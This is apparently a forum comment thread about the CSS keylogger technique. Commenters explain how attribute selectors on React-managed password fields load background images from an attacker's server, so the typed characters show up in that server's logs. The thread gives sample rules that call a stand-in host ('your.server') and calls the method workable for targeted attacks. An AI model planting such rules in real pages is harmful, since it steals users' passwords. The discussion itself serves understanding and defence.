the point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab".

Most people in the comments don't seem to understand how this works.

i.e. you don't need to have rules for all possible passwords, just one for each character.

Yup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-...

It can be done manually. Send the request to a server you control and check the logs. It doesn't scale well but it would work fine for a targeted attack.